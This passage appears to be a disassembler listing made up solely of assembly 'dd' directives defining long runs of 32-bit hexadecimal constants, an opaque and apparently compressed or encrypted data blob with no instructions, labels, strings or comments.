		dd 99E3505Dh, 0C607F28Ch, 88015450h, 2CFBDC61h,	0BD7A808Ch
		dd 0F10046B1h, 0ADEF03D4h, 0FB5F81A7h, 0D6661980h, 0DB2BBF99h
		dd 7F3EDDFEh, 3877AC7Eh, 68FA1000h, 7BCD5831h, 33E0C7h
		dd 0C1E129ACh, 0A560E60Dh, 0E85F8405h, 20C2174Dh, 483F1045h
		dd 0F303A088h, 88EACC30h, 0D6883A60h, 0FA8A04A4h, 0C01810C3h
		dd 99B85A92h, 40669100h, 8A530A9Bh, 3320FAFDh, 0CCC84D42h
		dd 5BB33E9Bh, 40A56103h, 3C3C78C4h, 0DE018420h,	2F83D35Fh
		dd 4F885854h, 14CBC0Eh,	0B0CA638Dh, 1917E7Eh, 0A5D3E9D1h
		dd 41E05407h, 0ACD2C280h, 0DF06B061h, 0B102BC3h, 0E6A33D41h
		dd 0E5489000h, 0B40F1232h, 6979F2E7h, 1834905Eh, 0A9E063Bh
		dd 497CB0E4h, 19EA0500h, 1D206390h, 5AE013BAh, 77E80091h
		dd 0C3E7D17Ch, 22E0075Ch
		dd 0E04F1746h, 0A14840B9h, 8A79C3FFh, 683E8501h, 698734C9h
		dd 1723DF4h, 0F74F28BDh, 2983A940h, 481B2824h, 0A34D4B06h
		dd 310840EAh, 6919C05Fh, 0B95DC5Ah, 62FA9D07h, 6411FFE1h
		dd 0A4298F48h, 0CB5D0600h, 942292CEh, 0E108D065h, 0CDFCC8h
		dd 2E41BAF0h, 0DC4CBB7Fh, 0A1B0AA50h, 39E0A4A0h, 1FD85688h
		dd 83E8D428h, 0E1C1D043h, 6A1806C0h, 2907B772h,	5696D511h
		dd 0EE3848A9h, 0A1527768h, 9C114EF8h, 34225Fh, 0A30D404Ah
		dd 728F42Ah, 56E492E7h,	0E621EC08h, 7A24687Ch, 0C341BCC6h
		dd 0D9A577D0h, 0AB85AC10h, 1A48581Ch, 0E6A91307h, 89E5D850h
		dd 22DC90F3h, 687EBEBAh, 0E57F900h, 2D8DE137h, 0C1E70FCDh
		dd 4AE51F44h, 92F833C0h, 3A8A783h, 8F4C588Bh, 0D0950F19h
		dd 4805E964h, 155CCA7Ch, 0D03D4B43h, 0BABD88h, 640C4470h
		dd 5079651h, 5B0638C4h,	41C44BCBh, 91566500h, 3D05E729h
		dd 6119A33h, 60C526B0h,	6D3149C7h, 8601C18Ch, 96F8E828h
		dd 0A9B88AE2h, 488E7100h, 3C64A45h, 374E4F09h, 0D23C22D1h
		dd 91CC5B72h, 9555003Bh, 0B3F90E29h, 7BA7050Ch,	8D288BF8h
		dd 33EE8B8h, 0D0E8DB02h, 0E99FABF3h, 2022E064h,	804A0D1Eh
		dd 3D9E320Fh, 19C04B47h, 9AE83CD2h, 0FEB403E6h,	8605FBADh
		dd 0A441D0E7h, 1B0B8C2Fh, 106F048h, 85577FFh, 4DACE4h
		dd 3A9F2CAh, 428D91B6h,	48CE7100h, 2BE7AFB2h, 0CCC8ED6Ah
		dd 235507C8h, 0F01F2AB3h, 0C47A020Eh, 3F4C952h,	79B8102Fh
		dd 8CB48028h, 2930983Bh, 0B84CAC3h, 94004EE7h, 0FBAC42FEh
		dd 4868FF09h, 899C198Bh, 29017202h, 9C503E60h, 0A1905Ah
		dd 0A5D599F3h, 0B49B20A9h, 5F08EC16h, 2E8300FEh, 68F00630h
		dd 22D2A60Eh, 90826BACh, 4E433DA8h, 7AF84838h, 8CF85380h
		dd 0AF57AAh, 3CBA33D9h,	8DB1ED76h, 541EAB00h, 0A9A1C921h
		dd 74E01Fh, 73FCD5A3h, 2C2D4FE7h, 89A8E412h, 19C7A400h
		dd 7896F442h, 0C38E29BBh, 0C5CB8880h, 8848E640h, 55995C45h
		dd 6885FE0Ch, 71445431h, 269D42CAh, 3D019C4Fh, 75668E8h
		dd 5F115432h, 38DA00C9h, 6854D459h, 0C8432845h,	5040449Ch
		dd 0D6F1100h, 0A67754F7h, 4B70C0C3h, 906DCB86h,	5B87CF02h
		dd 0E2AC2348h, 0B808A0CEh, 742D38Fh, 15C85549h,	0A19160A3h
		dd 20D70341h, 270797A8h, 85ABDB08h, 0A668C04Ah,	10C0E307h
		dd 0A1E1DC3h, 87D34008h, 0B482317h, 0A0F40833h,	3781A59h
		dd 9EFE326Fh, 0A298E269h, 0D4AA4C5Fh, 444AE030h, 0FDB5D40Bh
		dd 0BAD402EDh, 50E123C1h, 0ECB63100h, 565D1EFAh, 0E5D2484Fh
		dd 609C6824h, 0E40CD4E1h, 0E7039416h, 922B01Fh,	513F3E50h
		dd 8893E0C4h, 930FF809h, 0D3F9A1B0h, 0CC3C1F0h,	0CB83086Dh
		dd 6548FD89h, 334C0C58h, 42FF4988h, 7971C45h, 2D38349h
		dd 794D3D18h, 22FA1D18h, 70FEC603h, 0E1E00AE8h,	0F848D003h
		dd 337288CCh, 374623Eh,	4C3D7A65h, 60494836h, 88FA8D13h
		dd 540002C4h, 43B4C314h, 71EBBD2h, 0E71BF5E6h, 74DEF0B1h
		dd 68D0686Eh, 4B3D1740h, 8AA54420h, 0CDC2087Bh,	3F9147F2h
		dd 3899B01h, 0D0A653B4h, 0DF650B07h, 7CA78148h,	0B42E5900h
		dd 54D5ADD6h, 0B6001079h, 165C111Eh, 4B2A7Fh, 68667CD3h
		dd 47E745A1h, 0A420B428h, 0DD0F6C91h, 0E0988569h, 5788D820h
		dd 0FE400B3Dh, 0B84CAC3Ah, 5BCA44h, 97FB5063h, 0E0E75A86h
		dd 60415460h, 33DCBDFh,	0F3F121B1h, 9BF1958Eh, 0C52C2049h
		dd 98019888h, 82392CFCh, 69DE01E8h, 3DDBC256h, 33B450C8h
		dd 1CB98C88h, 30125Ah, 0FF6726A9h, 0DFB02CB8h, 0F9442501h
		dd 3E103299h, 0C8610BDBh, 0D60B0728h, 87CC6004h, 5F54D0A0h
		dd 20D3AFD2h, 0A18F5841h, 0F82290B4h, 0FD7A1474h, 4EC47C32h
		dd 0FC6089E0h, 190767F9h, 41D95E96h, 14095A95h,	105C07BFh
		dd 4A681869h, 0E0EF2E70h, 96CE4018h, 0BF025753h, 0B0F10E86h
		dd 4FBCA1FBh, 203C30F8h, 0D0C25882h, 0E6805C71h, 0F5B58A36h
		dd 0E802008Fh, 79A2EEC9h, 0C1C6FFC2h, 1E4156E1h, 413317F7h
		dd 64F4CB25h, 0C16BE81Bh, 9307F902h, 0B1B4B55Fh, 8807A084h
		dd 98B81B9h, 882453DCh,	0A0B34670h, 50308608h, 8839D08Eh
		dd 7B006DBFh, 0FC7AE575h, 3FEB706h, 0A3145D8Dh,	0DBB0EAC6h
		dd 0A0B245D2h, 8880A89Eh, 0A3653E51h, 400B5CC7h, 43247494h
		dd 0E8E16EECh, 0E6A7535Fh, 799C70C0h, 48919400h, 77DECA54h
		dd 43C2347Ah, 0AFD46020h, 64055254h, 0F9998F8Ch, 7500E4A2h
		dd 168518C1h, 0F1CDA360h, 0AC4CA068h, 179B005Ch, 0C0112897h
		dd 167EAF64h, 0CB5A4800h, 263A2450h, 47E51CE0h,	68EF8383h
		dd 0F2BAC8C9h, 218C3843h, 0E0349DE0h, 0EF141C29h, 42BD0231h
		dd 0B0D928CAh, 803C1124h, 109FC4A4h, 0A11B581h,	852ADEA0h
		dd 6DBB8BB0h, 7A0E8400h, 0D15C6442h, 0FAAEC0ECh, 10472Dh
		dd 45F8FE36h, 7DB06877h, 314C21C0h, 15C2B87h, 45C5A696h
		dd 20CA199Ch, 552D415Ch, 84480A3h, 173DCD81h, 19C1E1h
		dd 0A840F7CCh, 0C4998807h, 28B0AE39h, 0AC3B0240h, 0E82BE005h
		dd 38FC2256h, 0A540E8B6h, 79E5932h, 611F26E2h, 0AB6AF0B7h
		dd 812531C5h, 0BE482FFh, 3EB0D1ACh, 3FE16780h, 92C2D3D7h
		dd 35BFA300h, 8185CD5h,	301A589Ch, 83CA11h, 0C4298B0Dh
		dd 684EDBh, 9784FEFBh, 6BF56D1h, 0AD012Fh, 7791E084h, 0E4E70793h
		dd 45C1C35Fh, 97800040h, 0E53E69F7h, 6A59004h, 44817752h
		dd 7C37CA3Bh, 86BE2000h, 5B439D9h, 28C30B31h, 3D00C771h
		dd 18B26848h, 0E11F78BBh, 1A9819B0h, 0EC2178A6h, 0E3B83E5Dh
		dd 41C9A3Dh, 7AF30066h,	2809C5DEh, 105F8B2Ch, 3E41A408h
		dd 0DCD7BB93h, 971C7214h, 0BC134E9Fh, 70F9E00h,	98B2B3F2h
		dd 8057EA0Ch, 0B0A4C9C3h, 0B90AA8B2h, 0FCA76A58h, 0AFC16007h
		dd 0D0EC0AC7h, 43C641B8h, 818D65B8h, 4770718h, 9247F408h
		dd 0F4E0404Fh, 8507AF40h, 8F901491h, 4B0013C8h,	0B26DD3C2h
		dd 48EA7DBFh, 0C980F441h, 0B024D0Ah, 0C24F28C4h, 0BFB4A4C0h
		dd 43C828ECh, 0CC72614h, 9ACE4014h, 0A17D9422h,	210760CBh
		dd 6045A01Ch, 9900F83Dh, 0A9E1A3C4h, 0FB008534h, 24D26B4Dh
		dd 372CF9h, 38EDE48h, 7F4A0C05h, 0E68408BCh, 654055DFh
		dd 0FF309D9Fh, 1B82060Eh, 241C32B8h, 0A7DC1000h, 18E7B3AEh
		dd 0F186E197h, 0AD70A99Ch, 0F8477400h, 9111264Ch, 2EFD173Ch
		dd 32801690h, 0E0184A08h, 758216DEh, 142441E1h,	0F1B2A757h
		dd 874468EFh, 35601FF9h, 2AD4BFh, 98FA1619h, 3E06A247h
		dd 385A4D26h, 1205568Bh, 882488A0h, 312EF480h, 0DFDB84h
		dd 955982BEh, 0A5362F97h, 6D30497Ah, 5D412826h,	884D65A3h
		dd 29A8D8A9h, 3E00E5EAh, 4CC1E7A7h, 350A598h, 0C24E9CCAh
		dd 110AA05Ch, 0A830FB56h, 72B1F042h, 0DDD78074h, 0E4F20FFAh
		dd 0C008662h, 18A3F3D4h, 233CE61Fh, 0FF05E464h,	0C8884058h
		dd 57E180CAh, 0B47889C7h, 0ABC0630Eh, 1020D0C3h, 0A3C6051Fh
		dd 0B31F4BAh, 2C844858h, 728A6BBh, 8BB3F9F0h, 41E44D00h
		dd 82920230h, 5F58BEE3h, 85993B40h, 0E129D8A1h,	26531041h
		dd 0F6770051h, 4BE55A56h, 7A2E01D1h, 99456CC4h,	10115881h
		dd 202BC042h, 4E803DE6h, 830BAEFAh, 2A67C479h, 292FF058h
		dd 484C0060h, 74273C86h, 2F7F03Fh, 48CE130h, 0D44010A6h
		dd 0AF0EAA28h, 8092A06Bh, 45C8EF1Fh, 0B59B0E35h, 0C949E6C2h
		dd 3EE88C98h
		dd 3DD39600h, 0E6E79733h, 905358E0h, 1B66CA83h,	0D9DE62F0h
		dd 0E48B8E00h, 0F5E79E3Eh, 65A0A432h, 71B3A670h, 68D1C3A0h
		dd 24E58448h, 0F1008CA2h, 53474261h, 7200A3DDh,	0FDDFB781h
		dd 0B5DC84h, 6A11E664h,	96F74EF2h, 2AFE0114h, 9C3BC8F0h
		dd 0F73240D6h, 0CC67681h, 0BE354700h, 0E59B6D2h, 583701B7h
		dd 79A167A2h, 287022C5h, 230070E1h, 90381FC1h, 28D2439h
		dd 9AE79926h, 0D8E60CFBh, 88031A00h, 0FFA1924Ch, 9CAC2F0Ah
		dd 0E815E410h, 0D06058h, 0DDD4C224h, 2F2101Eh, 22DB98A1h
		dd 7DE07BC0h, 66002FE6h, 0E0D119EFh, 22C8030h, 3CBFE858h
		dd 8842A774h, 0E950860h, 0F001097h, 52F601B4h, 3B506E66h
		dd 0AC61C8CDh, 6CD8FF04h, 95824A28h, 0C16C6A06h, 999C2D2Ch
		dd 0E941D83Dh, 51C275B0h, 412418D2h, 12C8F537h,	19FF00AFh
		dd 0FD769EEEh, 0AB17C24Dh, 0F857A6BEh, 44827034h, 5004293Ch
		dd 0FC88533Eh, 52DA007Bh, 77E6331Ch, 0AB4C3E73h, 0BFB580D4h
		dd 8444C8E5h, 0E805C926h, 0D0583310h, 0C384A04Ch, 4E1C8CD7h
		dd 0A902CC90h, 7A4D0BC9h, 5004DAC6h, 44BDEC68h,	311769C7h
		dd 1850CBB6h, 60D0058Ch, 5CA209C8h, 5D404020h, 6FCB34C2h
		dd 24A269h, 0A589E493h,	0CC28D5h, 3245ABEAh, 0F7839D94h
		dd 0EC4C1500h, 1C60678Ch, 21D092A8h, 99037CC8h,	2CF95637h
		dd 998711h, 0C682C0CCh,	14A18551h, 7A0395Fh, 0CE0B125Bh
		dd 1C704C30h, 7E31026Bh, 5EF38284h, 278E285Eh, 0E398806Dh
		dd 1831ED7h, 2EAEFB38h,	8FE6B5F3h, 32544E90h, 7FF6000h
		dd 903BAC43h, 65E1CF8h,	0ED5CF08h, 0A240E1E1h, 0C0312FA9h
		dd 84780156h, 0F145FA9Ch, 0CDC3E011h, 28E77244h, 391CE04Ah
		dd 0F600B575h, 8F236814h, 530088F4h, 500728B1h,	5C065647h
		dd 4A847CEDh, 6507204Ch, 828004Fh, 7643A98Ah, 0B2744901h
		dd 53DA3D03h, 0F5488188h, 62080805h, 8A68140Bh,	0D7004248h
		dd 2806C1E0h, 0D3F858B6h, 16B2C538h, 79123FD0h,	0E8290BD0h
		dd 80BB7418h, 0D0727503h, 0E0670C66h, 66F97D5h,	6037628Ch
		dd 0F1002934h, 3AF9B52Fh, 5E4728h, 4E41C9BFh, 1EADA33Fh
		dd 4A2F193Ah, 3F16CC8h,	97E4CA14h, 77C8EAB0h, 7A1D941Fh
		dd 0C1823051h, 44DED812h, 4EC4FC10h, 0D6A42C6Dh, 0C92D88h
		dd 0B04F60C6h, 43615072h, 7DE9B100h, 140C53AEh,	0F9910325h
		dd 1585BE2Eh, 562D9EB0h, 55C81600h, 95D59A08h, 0C4DE0EC7h
		dd 4D328C3h, 0C3D78470h, 388174Eh, 8E296FA8h, 0EE00F4B0h
		dd 798920D5h, 920500DAh, 99559478h, 31024AE5h, 2448954Ch
		dd 0BCCC8017h, 135FC26h, 47338A49h, 42A06981h, 888B2E0h
		dd 5E1420F4h, 0DCB04FE1h, 0C0F2FEE0h, 1000C354h, 0EB2A567Bh
		dd 45AD8DDh, 5803D214h,	0B4A8A6h, 2A4FBC3Eh, 0E74EEEh
		dd 9CBAF8C7h, 92FB893h,	288B5007h, 72308C06h, 3DC9464Dh
		dd 0CC240356h, 48448804h, 898FA084h, 427400C1h,	0BE408204h
		dd 14C42Bh, 843C8855h, 170F9A26h, 0B403D8B0h, 5049A6EDh
		dd 5E85DAE0h, 3E9114h, 5E7D47E6h, 1E0DC7h, 0F4C85E8h, 4BC04A43h
		dd 887D8744h, 0BA3E0632h, 0C74580C3h, 0C969E278h, 0BFB101F8h
		dd 0EE4FD0FAh, 40E46140h, 5507A1F2h, 0DC633C00h, 5CC868D2h
		dd 15D74E5h, 0DFC2E795h, 68453D78h, 48FE84A4h, 0C74FC930h
		dd 88B4B598h, 6C1509Fh,	8733B8CDh, 90885DE4h, 47DE1758h
		dd 81C10FFh, 14002051h,	15201A1h, 0F1B1FA8Ah, 33FD5692h
		dd 484C1120h, 7C5FA109h, 51440090h, 69587C96h, 0C1150FFAh
		dd 6AE0B217h, 5E3DC9CBh, 869A4700h, 9E8508C6h, 12B0F06Fh
		dd 0B267F22Ah, 0F982002Ch, 0FD896EE6h, 52960055h, 0EF736A20h
		dd 0D334C31Fh, 0F0132980h, 0F9891466h, 0A200C078h, 70C1A1BAh
		dd 4DF6227Bh, 8351A300h, 67EF78F2h, 34025B56h, 44AC0848h
		dd 0E215C780h, 97869B8h, 7940DF28h, 930C8C4h, 0F927794Eh
		dd 0C87A1B07h, 0A02589D1h, 306E6Eh, 48DAA8CDh, 0B1D037E0h
		dd 0A59B8800h, 0E925A28Fh, 0B2A912B4h, 7DA8000Eh, 0A12C9CFDh
		dd 8BB39215h, 0ABB20908h, 1B04C85Fh, 5A84009Bh,	3EA9B338h
		dd 85038144h, 0BA6D9D09h, 57CCC9AEh, 3D13AC22h,	0C0986248h
		dd 0B3FEA240h, 0AC6AF024h, 0CB80E029h, 0C313ADFh, 0EA2C002Eh
		dd 8A5069DDh, 9B02C42Ah, 0A80BCAEFh, 8147059Eh,	9148AC24h
		dd 0D3845F1h, 66809AB9h, 3E2F6253h, 61C70846h, 3D10E6A5h
		dd 98A078Ch, 2FF377ACh,	0BF579100h, 36076068h, 4E924A3Eh
		dd 74CCF215h, 0D58E3E88h, 46CCA6h, 6E042912h, 0BD02E42Fh
		dd 2C532A5Fh, 0BC444011h, 824888C6h, 78A09D48h,	912C618Ah
		dd 0B0B8273Ah, 0D395E6ADh, 69F26100h, 96E839D2h, 0F85C00DEh
		dd 5EFEAC3Ch, 4F485990h, 0D25854h, 0E7A1333Dh, 0B9D0C2A0h
		dd 0D06012ECh, 0AAE53418h, 4AD62F01h, 0BF755726h, 4509BC3Dh
		dd 5C1091A3h, 0FC7B9AC9h, 940FC4B4h, 8F382B71h,	8506E136h
		dd 906CD172h, 92C45Dh, 54842E14h, 0C6388C5Ah, 0DEE804FEh
		dd 41092491h, 0C2927800h, 0EF746869h, 547ACF28h, 16D210E9h
		dd 50D007D6h, 1B7E804Fh, 1E917C8Fh, 0CD08A154h,	95E78470h
		dd 0D8F29Bh, 813B2AAFh,	7382542h, 0B30BB155h, 9CE85018h
		dd 0EE00D7E4h, 54082D99h, 49FE5DEBh, 404A640Eh,	8463B460h
		dd 3E2F3DAAh, 47DC114Eh, 0B6EFA517h, 0C055B4h, 7F71F08h
		dd 0E4C6E704h, 0E0A4600Dh, 2E1D0103h, 23A497B0h, 75213009h
		dd 9107CAB8h, 46E7B574h, 0CBBF8230h, 0EEB6136Dh, 6140308Eh
		dd 0E40F6E9Fh, 403911C2h, 0A4B8BF38h, 1F2C26DDh, 9243101Ch
		dd 30F788C1h, 4805B022h, 0E4C3C239h, 0FF225668h, 0ACA4903Eh
		dd 611494C4h, 63C441A1h, 0DC404B74h, 4865FFFEh,	0E810958Eh
		dd 0D6F9CB86h, 0AA0D0454h, 3DD8C8BDh, 3053504Bh, 0DDC701E1h
		dd 0FC676C2h, 3EF4708Eh, 0F5044090h, 8607AE40h,	8E21DCF2h
		dd 50080B90h, 0C771C3C2h, 0CE016906h, 5694228Ah, 74413B08h
		dd 82154F41h, 0F42047DCh, 0B408079Bh, 28B04F18h, 0AB4BECC5h
		dd 28C08C8h, 0B5F16399h, 0D2E25A18h, 81C08434h,	0E6A36D3Fh
		dd 16E03899h, 0AE042CF6h, 5AB201DCh, 0DB9148E5h, 602868F8h
		dd 0F80E692Ch, 0F9D54A8h, 5C87021Ch, 16D85894h,	30FC56F0h
		dd 7F3B0F08h, 28A57600h, 0D90394B5h, 0A942076Bh, 4F1B5749h
		dd 0A8C77A24h, 5D98A0A0h, 0E637807h, 7230271Dh,	0FA9A4B80h
		dd 400459FFh, 0EFBFAD86h, 57C0A4ECh, 0EAB8E104h, 0DFFA7C00h
		dd 3195259h, 9ED20066h,	0E4EF983Ch, 0A1008DB1h,	4927B24Dh
		dd 936AB6h, 4E9F823Fh, 444F7092h, 3916D60Bh, 43702404h
		dd 0C98D9040h, 974831C0h, 68EC0544h, 10030BFCh,	8813DE1Bh
		dd 2B1A147h, 0DD7D6083h, 1061EB86h, 0C17A106Eh,	5478A1D5h
		dd 61BBF410h, 0A041D300h, 0BEF7F6A8h, 5C830B9Ah, 10C8601Eh
		dd 40181ADh, 6A01D8AFh,	18C47B0Ch, 317608B0h, 0E4A6E308h
		dd 0C863D005h, 0CA1C00B2h, 754B4143h, 0F867EAA3h, 5D00903Ch
		dd 48E473C7h, 5A43AF8Ah, 96E4C269h, 4451745Eh, 2097E00Ch
		dd 0D1F8A160h, 75CE009Eh, 7CF78C80h, 0DC048B1Ah, 6F4D7F93h
		dd 9FCE8A0h, 8C4863FFh,	84084410h, 4C206891h, 0B81CFC4Eh
		dd 853CA90h, 2F40E300h,	0DDC62427h, 0B3DF1505h,	78B394F2h
		dd 250C920h, 10B40580h,	0E38B8204h, 0C09C64E8h,	74BCFF3h
		dd 0F700974Dh, 69665458h, 0F3EEFAD1h, 45DB7420h, 0C8582C14h
		dd 0F54F8384h
		dd 0FFB8E296h, 88261FE6h, 0AE0228EAh, 82B248F1h, 0D4BE7A0Ch
		dd 0C1144A60h, 0FCE106C7h, 483D6FE9h, 8DEA85Eh,	113C045Ch
		dd 2F004C44h, 0B7845A08h, 955CE84Fh, 47ADC0D8h,	586D4AF6h
		dd 887C38F0h, 0D5F0E754h, 2E18244h, 79D88E90h, 60E0128Dh
		dd 4484F8C3h, 0B0003153h, 0EA5B37FAh, 2DE3698Fh, 5090C1F6h
		dd 44445F29h, 54E80092h, 0D26A47A9h, 997EE51h, 4908214Ch
		dd 83C20248h, 27531C0h,	5428670Ah, 84E068E8h, 6B86D5B8h
		dd 4004598Eh, 0D3165FBFh, 0AE0EB8A3h, 0A7EC7981h, 9C7C6821h
		dd 940E1126h, 0F458BE11h, 3C21F9CEh, 205078C3h,	0BB00EE44h
		dd 5574245h, 134090BFh,	0E0269BDCh, 0D645C8B4h,	0C5809868h
		dd 0DC7B4B27h, 0ADD9C200h, 6B625474h, 8BF5834h,	4B0CC424h
		dd 0DFBD6018h, 0CAE25B01h, 0A51630D6h, 22DAEE40h, 0CC061EC4h
		dd 208688Bh, 6B748149h,	8A0FAB48h, 104D0CC2h, 0EA561C08h
		dd 0D874A135h, 31A2210h, 11850F00h, 0AFEDEA84h,	59C6019Dh
		dd 0F8775419h, 676031B0h, 3F9B00B4h, 0D9470444h, 76C61639h
		dd 8E7C0212h, 35417796h, 0D3A86992h, 97C4C8h, 0E938695Ch
		dd 7C78B932h, 59FAC300h, 8E7B9284h, 8CF0A603h, 3CE91E58h
		dd 92F61DA8h, 0A5510FA6h, 0A46DE800h, 0DB4DEDA0h, 0D0970240h
		dd 1906C865h, 13380745h, 88D08867h, 5D692D00h, 7AC2BC68h
		dd 0AECE074Eh, 30CFD42Bh, 5A71C1ABh, 7EFE0409h,	9130A468h
		dd 0D52230F6h, 39E2C6ECh, 9467E500h, 0A121042h,	0F514053Ch
		dd 0C706F3E6h, 0F8ACA4C8h, 0D0D9A4B4h, 224FAC3Dh, 0E0D5BD10h
		dd 78E411E2h, 4FA00997h, 3CD9CE08h, 22735AE0h, 2CB898B9h
		dd 25F4DC19h, 83EB844h,	6F428CBCh, 1CD8DC9Fh, 0FDE48EBEh
		dd 32009BBDh, 0E0610902h, 0CC902F51h, 0B905A027h, 0B181D208h
		dd 79A567E6h, 800C38BBh, 68851256h, 57EC2772h, 473D3C82h
		dd 0FD036871h, 446CBBh,	8FFF450h, 0C31F7CEDh, 4EE98700h
		dd 17C55D48h, 1D757652h, 56F8669Fh, 91D40FD4h, 0E0C830E0h
		dd 90083E9h, 8807A174h,	50AE2816h, 16BBEB37h, 0B5442EEEh
		dd 80801D4h, 0C3144160h, 0A71C38CAh, 5D424D0h, 220D0076h
		dd 1F642A02h, 9F730440h, 63C92302h, 925B082Eh, 443052D8h
		dd 8013A1CCh, 0A41EE6ADh, 0E54F0022h, 0E7A09C31h, 0BF64435Fh
		dd 5880D018h, 14071D3Bh, 0B7D13E5Eh, 0F2CAC216h, 0C32164h
		dd 0BC0D29F4h, 9B12C6A0h, 7021483Dh, 0AC68102Fh, 1C011D2Ch
		dd 717DC91h, 9184858h, 838FD000h, 0AF000890h, 0E79DA60Ch
		dd 94B19C1Eh, 2FF6E234h, 12424810h, 9654AEFh, 0B020F048h
		dd 4466D098h, 894778A0h, 0CBC58212h, 6E2898h, 0D3397D76h
		dd 0CBE4F4Ah, 0CA10A091h, 0E2D7C313h, 6C110A8h,	0C35A1221h
		dd 3C19005Ah, 9D8B43A1h, 0EB00BB7Ah, 31C10BF6h,	581842DCh
		dd 0FC03CFFh, 0E7A31EB8h, 0AEFD970Ah, 4F586043h, 7CD349E0h
		dd 403444h, 599636A7h, 0EF7CC32Eh, 0BCBA3E00h, 955F78E7h
		dd 78E479E6h, 5854B48Fh, 48F6FE29h, 658F9700h, 0C9E8093Ch
		dd 4D5EE3h, 229AC8B0h, 1C1E6071h, 45018F19h, 94F4B0D0h
		dd 1609A84Ch, 24A0E91h,	0DB597788h, 0D0222CF2h,	40089C7Dh
		dd 5972DB5Eh, 11DADE2Dh, 1C15DC58h, 0CEEA622Ch,	0C944F09Eh
		dd 428AF027h, 18056F2Fh, 0E49C8188h, 61A00800h,	5FFC5694h
		dd 82389C3Bh, 639FBC00h, 256D4080h, 5FE74A9Ah, 915909F8h
		dd 93D9C098h, 0C3D2C900h, 2E7E4883h, 0B79D0063h, 5DE32CCEh
		dd 4E019242h, 3EF7E73Ah, 0E0D4AD99h, 515C9C21h,	0C030384Ah
		dd 889F4E17h, 0E4C490AEh, 0FAE80651h, 204DB778h, 5F4AB004h
		dd 0C495691Bh, 0EE2E2C07h, 0C870CE43h, 7DDBEF54h, 19271721h
		dd 68306003h, 0E40BA9FEh, 82D56B2Dh, 2E83D698h,	0E812C6E3h
		dd 0FDD4C0DDh, 9F7DD0D5h, 8F0D5D02h, 0D81FDAC9h, 0C7088008h
		dd 4114A2DEh, 703E41ACh, 8FADF594h, 9AF4CA2Dh, 41FC5CE4h
		dd 0C865C9F2h, 1C07EDC8h, 0F492594Ch, 0FDA5D131h, 3AC83868h
		dd 63C50D80h, 1D24821Bh, 40E643CCh, 0D2FC16B0h,	9A05F8DAh
		dd 59E13CA1h, 4B5608A0h, 708A07h, 0FD12CEBAh, 185DAE67h
		dd 0BE1C691Dh, 0B748C395h, 0B09CE084h, 88D34FC1h, 0C2074F3Ch
		dd 947A28EEh, 0D40256D2h, 0DA8D500Ch, 8817C470h, 88D2067Dh
		dd 48FC900Bh, 17BB2h, 6207F8DCh, 0DFCB3554h, 2892C83Ch
		dd 4876088Ah, 24D614A2h, 0B46ECE40h, 72E63E90h,	0F4A30F2Dh
		dd 4F80FF47h, 94917860h, 4B44BEh, 17F869F7h, 0E0913F98h
		dd 0B107EF00h, 4FDF8680h, 404D4993h, 415F4E19h,	138C6CC8h
		dd 0C4B6553Fh, 0F5B3A001h, 2486A632h, 0EE164B48h, 40CCB0A8h
		dd 9BEB01DFh, 0C59E121Bh, 772AF89Fh, 442D6305h,	8400697Ah
		dd 55CBFC79h, 0E4627408h, 0A0F0229Ch, 84080882h, 0C07A0C14h
		dd 0FD4946F1h, 0E64E8B30h, 40609E14h, 2780DC9Fh, 916B617h
		dd 3C0914CAh, 8502A6F0h, 24DAD1C2h, 41CF5F7Ch, 785E40F9h
		dd 0F9D6CABh, 0E0FF679h, 0D28FBB00h, 0B896E855h, 0ACAF0340h
		dd 7D450054h, 332C3468h, 440BF4F2h, 690A27DFh, 287F4774h
		dd 691EE634h, 906DB3E3h, 82590270h, 0F83CD470h,	33057CFFh
		dd 2EF9E77Fh, 587050C8h, 0D011C429h, 0E4E7007Eh, 0C1A5AD2Fh
		dd 0B628011Ah, 0AFFAF6BFh, 0CC206AF1h, 1DEC116Ah, 0FE2394C3h
		dd 0DE1F7C3Dh, 0FD5F409Ch, 1FA86285h, 4750F17Eh, 850C708h
		dd 80EC2914h, 14047900h, 48D26A19h, 2CC25EE8h, 9C00BF70h
		dd 2B5AE1EBh, 1AB8F9Eh,	42869B14h, 601DB30Dh, 55BF30Dh
		dd 30C118C4h, 70414C35h, 203AEC60h, 1E43DA74h, 6D76300h
		dd 8CCCE7Ah, 0AF373BDBh, 0DA968580h, 74DEC68Dh,	8E6E9700h
		dd 688CE6A0h, 0CEDC3AF9h, 184AF30Bh, 0E484389Ah, 463D442Dh
		dd 3A0A0B8h, 0C0AC614h,	0CBC50231h, 6CCB2200h, 0ADC1FCh
		dd 0F1664BBCh, 423DE6F2h, 7446CB4h, 7A3BC227h, 7C36A7E0h
		dd 0D6200297h, 0C5A92F7Eh, 681714D2h, 6C1FB828h, 47D01D22h
		dd 0FC980EEFh, 95691A7h, 0B34EFC10h, 0C279B11Fh, 0F4EE67h
		dd 48BFD56Ch, 0C08C28DAh, 918AB100h, 29049331h,	47DB1268h
		dd 1E08D060h, 0D7249AE5h, 0A0031908h, 26C40Dh, 115E4A48h
		dd 0F8E83BFDh, 60319700h, 0AF2AA8FFh, 74E70377h, 2F88BE89h
		dd 0E18F5087h, 0C9053FF2h, 8D76A029h, 108060ECh, 0AC69BCD9h
		dd 1DBE0406h, 98C97560h, 0ECCC587Ch, 2E40BAC8h,	0FBE04Eh
		dd 0E6E728A4h, 3E147C47h, 98A3B3Ch, 0DAD4C2F6h,	4BAE79B0h
		dd 5DA82896h, 8406786h,	0C412F93Dh, 0D76028D4h,	0E25855h
		dd 21BE1C93h, 91BAFBAh,	0CD9D2A1Eh, 428FEC80h, 0B83EE55Fh
		dd 994E00CFh, 0D02282C8h, 2613D550h, 9874453Fh,	0C12FA8C0h
		dd 27A74E1Bh, 501D4010h, 0E2005C15h, 482C7FF0h,	0EA2526E4h
		dd 20110003h, 1A91B5F8h, 0D47FC117h, 0F7EDAA02h, 0C1C65B43h
		dd 42D0BAC4h, 2FD012B6h, 85100EF2h, 44491A9h, 7E110900h
		dd 9C53F9F1h, 669E074Fh, 900364E4h, 0EDF2712h, 9D08F49h
		dd 920A6DB3h, 6398048h,	3CF84Fh, 0E1BEB4B1h, 90F156D1h
		dd 0D0969C98h, 4CEA50h,	0E27ED31Dh, 0A5D72829h,	908EB80Bh
		dd 5D9380E5h, 4F6E6F3h,	0EE3ED269h, 7DFC30h, 0F75028A8h
		dd 16DF52Fh, 46707B73h,	60A2A0EFh, 42052304h, 0FBF3D334h
		dd 6A3B8801h, 7ADD3CD7h, 0FCD2080h, 92492C8Bh, 0B10022ECh
